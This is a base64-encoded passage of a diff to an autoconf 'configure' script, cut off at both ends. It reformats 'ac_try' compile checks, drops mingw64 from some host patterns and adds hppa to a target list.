ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2Zs
YWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAt
eiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7
IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwg
JGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtMjMxNSw4ICsyMzEwLDcgQEAgaWYg
eyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVy
ciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAg
IChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vy
cm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0n
dGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnIn
DQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAg
KGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtMjM5NCw4ICsyMzg4LDcg
QEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0
ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+
JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFj
X2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFj
X3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVz
dC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4m
NQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtMjQ0OSw4ICsy
NDQyLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0
IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3Rh
dHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAt
eiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQor
CSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBj
b25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlc
IiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtMzg2
Niw3ICszODU4LDcgQEAgdGVzdCB4IiRwaWNfbW9kZSIgPSB4bm8gJiYgbGlidG9vbF9mbGFncw0K
IGNhc2UgJGhvc3QgaW4NCiAqLSotaXJpeDYqKQ0KICAgIyBGaW5kIG91dCB3aGljaCBBQkkgd2Ug
YXJlIHVzaW5nLg0KLSAgZWNobyAnI2xpbmUgMzg2OSAiY29uZmlndXJlIicgPiBjb25mdGVzdC4k
YWNfZXh0DQorICBlY2hvICcjbGluZSAzODYxICJjb25maWd1cmUiJyA+IGNvbmZ0ZXN0LiRhY19l
eHQNCiAgIGlmIHsgKGV2YWwgZWNobyAiJGFzX21lOiRMSU5FTk86IFwiJGFjX2NvbXBpbGVcIiIp
ID4mNQ0KICAgKGV2YWwgJGFjX2NvbXBpbGUpIDI+JjUNCiAgIGFjX3N0YXR1cz0kPw0KQEAgLTM5
MjEsNyArMzkxMyw3IEBAIGlhNjQtKi1ocHV4KikNCiAgIHJtIC1yZiBjb25mdGVzdCoNCiAgIDs7
DQogDQoteDg2XzY0LSpsaW51eCp8eDg2XzY0LSptaW5ndzY0KnxwcGMqLSpsaW51eCp8cG93ZXJw
YyotKmxpbnV4KnxzMzkwKi0qbGludXgqfHNwYXJjKi0qbGludXgqKQ0KK3g4Nl82NC0qbGludXgq
fHBwYyotKmxpbnV4Knxwb3dlcnBjKi0qbGludXgqfHMzOTAqLSpsaW51eCp8c3BhcmMqLSpsaW51
eCopDQogICAjIEZpbmQgb3V0IHdoaWNoIEFCSSB3ZSBhcmUgdXNpbmcuDQogICBlY2hvICdpbnQg
aTsnID4gY29uZnRlc3QuJGFjX2V4dA0KICAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVO
TzogXCIkYWNfY29tcGlsZVwiIikgPiY1DQpAQCAtMzkzMiw3ICszOTI0LDcgQEAgeDg2XzY0LSps
aW51eCp8eDg2XzY0LSptaW5ndzY0KnxwcGMqLSpsaQ0KICAgICBjYXNlICJgL3Vzci9iaW4vZmls
ZSBjb25mdGVzdC5vYCIgaW4NCiAgICAgKjMyLWJpdCopDQogICAgICAgY2FzZSAkaG9zdCBpbg0K
LSAgICAgICAgeDg2XzY0LSpsaW51eCp8eDg2XzY0LSptaW5ndzY0KikNCisgICAgICAgIHg4Nl82
NC0qbGludXgqKQ0KICAgICAgICAgICBMRD0iJHtMRC1sZH0gLW0gZWxmX2kzODYiDQogICAgICAg
ICAgIDs7DQogICAgICAgICBwcGM2NC0qbGludXgqfHBvd2VycGM2NC0qbGludXgqKQ0KQEAgLTM5
NDgsNyArMzk0MCw3IEBAIHg4Nl82NC0qbGludXgqfHg4Nl82NC0qbWluZ3c2NCp8cHBjKi0qbGkN
CiAgICAgICA7Ow0KICAgICAqNjQtYml0KikNCiAgICAgICBjYXNlICRob3N0IGluDQotICAgICAg
ICB4ODZfNjQtKmxpbnV4Knx4ODZfNjQtKm1pbmd3NjQqKQ0KKyAgICAgICAgeDg2XzY0LSpsaW51
eCopDQogICAgICAgICAgIExEPSIke0xELWxkfSAtbSBlbGZfeDg2XzY0Ig0KICAgICAgICAgICA7
Ow0KICAgICAgICAgcHBjKi0qbGludXgqfHBvd2VycGMqLSpsaW51eCopDQpAQCAtNDAwOCw4ICs0
MDAwLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0
IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3Rh
dHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAt
eiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQor
CSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBj
b25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlc
IiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNDI4
Nyw4ICs0Mjc4LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0K
ICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAk
YWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0n
dGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5l
cnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3Qg
ISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRh
Y190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpA
QCAtNDMzMCw4ICs0MzIwLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIk
YWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBc
JD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFj
X3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25m
dGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8
IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5P
OiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVz
PSQ/DQpAQCAtNDM4OCw4ICs0Mzc3LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVO
TzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElO
RU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQot
CSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAt
cyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWci
CQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTok
TElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNf
c3RhdHVzPSQ/DQpAQCAtNDc5OSw3ICs0Nzg3LDcgQEAgX0FDRU9GDQogICAgICAgICB1c2luZ19j
Z2VuPXllcw0KIAk7Ow0KIA0KLSAgICAgIGkzODYgfCBzMzkwIHwgc3BhcmMpDQorICAgICAgaTM4
NiB8IHMzOTAgfCBzcGFyYyB8IGhwcGEpDQogCWlmIHRlc3QgJHRoaXNfdGFyZ2V0ID0gJHRhcmdl
dCA7IHRoZW4NCiANCiBjYXQgPj5jb25mZGVmcy5oIDw8X0FDRU9GDQpAQCAtNTU0MCw4ICs1NTI4
LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNv
bmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVz
IiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAi
JGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7
IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25m
dGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIp
ID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNTU5OSw4
ICs1NTg2LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAg
Y2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNf
c3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVz
dCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnIn
DQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAt
cyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190
cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAt
NTcxNiw4ICs1NzAyLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNf
Yw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8g
PSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3Ry
eT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVz
dC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRl
c3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBc
IiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/
DQpAQCAtNTc3MSw4ICs1NzU2LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzog
XCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5P
OiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7
IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBj
b25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJ
IHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElO
RU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3Rh
dHVzPSQ/DQpAQCAtNTgxNyw4ICs1ODAxLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJ
TkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTok
TElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYm
DQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3Qg
ISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2Zs
YWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19t
ZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAg
YWNfc3RhdHVzPSQ/DQpAQCAtNTg2Miw4ICs1ODQ1LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNf
bWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRh
c19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMp
OyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8
IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vy
cm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8g
IiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4m
NQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNjAyNSw4ICs2MDA3LDcgQEAgaWYgeyAoZXZhbCBlY2hv
ICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVj
aG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19z
dGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQot
CQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFj
X2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFs
IGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3Ry
eSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNjA5Miw4ICs2MDczLDcgQEAgaWYgeyAoZXZh
bCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUN
CiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0
ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2Zs
YWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAt
eiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7
IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwg
JGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNjE4Miw4ICs2MTYyLDcgQEAgaWYg
eyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVy
ciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAg
IChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vy
cm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0n
dGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnIn
DQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAg
KGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNjkxMiw4ICs2ODkxLDcg
QEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0
ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+
JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFj
X2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFj
X3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVz
dC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4m
NQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNzA4Myw4ICs3
MDYxLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0
IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3Rh
dHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAt
eiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQor
CSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBj
b25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlc
IiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNzE1
OSw4ICs3MTM2LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfYw0K
ICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAk
YWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0n
dGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5l
cnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3Qg
ISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRh
Y190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpA
QCAtNzMyNCw4ICs3MzAwLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIk
YWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBc
JD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFj
X3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25m
dGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8
IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTokTElORU5P
OiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVz
PSQ/DQpAQCAtNzQwNiw4ICs3MzgxLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6JExJTkVO
TzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19tZTokTElO
RU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9ICYmDQot
CSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRlc3QgISAt
cyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWci
CQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRhc19tZTok
TElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0KICAgYWNf
c3RhdHVzPSQ/DQpAQCAtNzU0OCw4ICs3NTIyLDcgQEAgaWYgeyAoZXZhbCBlY2hvICIkYXNfbWU6
JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8gIiRhc19t
ZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0dXMpOyB9
ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJIHx8IHRl
c3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9y
X2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVjaG8gIiRh
c19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkgMj4mNQ0K
ICAgYWNfc3RhdHVzPSQ/DQpAQCAtNzY4MSw4ICs3NjU0LDcgQEAgaWYgeyAoZXZhbCBlY2hvICIk
YXNfbWU6JExJTkVOTzogXCIkYWNfYw0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAgIGVjaG8g
IiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRhY19zdGF0
dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWciDQotCQkJ
IHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nf
d2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChldmFsIGVj
aG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFjX3RyeSkg
Mj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNzc5NSw4ICs3NzY3LDcgQEAgaWYgeyAoZXZhbCBl
Y2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+JjUNCiAg
IGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChleGl0ICRh
Y19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9yX2ZsYWci
DQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVzdCAteiAi
JGFjX2Nfd2Vycm9yX2ZsYWciCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQogICB7IChl
dmFsIGVjaG8gIiRhc19tZTokTElORU5POiBcIiRhY190cnlcIiIpID4mNQ0KICAgKGV2YWwgJGFj
X3RyeSkgMj4mNQ0KICAgYWNfc3RhdHVzPSQ/DQpAQCAtNzg5OSw4ICs3ODcwLDcgQEAgaWYgeyAo
ZXZhbCBlY2hvICIkYXNfbWU6JExJTkVOTzogXCIkYWNfbA0KICAgY2F0IGNvbmZ0ZXN0LmVyciA+
JjUNCiAgIGVjaG8gIiRhc19tZTokTElORU5POiBcJD8gPSAkYWNfc3RhdHVzIiA+JjUNCiAgIChl
eGl0ICRhY19zdGF0dXMpOyB9ICYmDQotCSB7IGFjX3RyeT0ndGVzdCAteiAiJGFjX2Nfd2Vycm9y
X2ZsYWciDQotCQkJIHx8IHRlc3QgISAtcyBjb25mdGVzdC5lcnInDQorCSB7IGFjX3RyeT0ndGVz
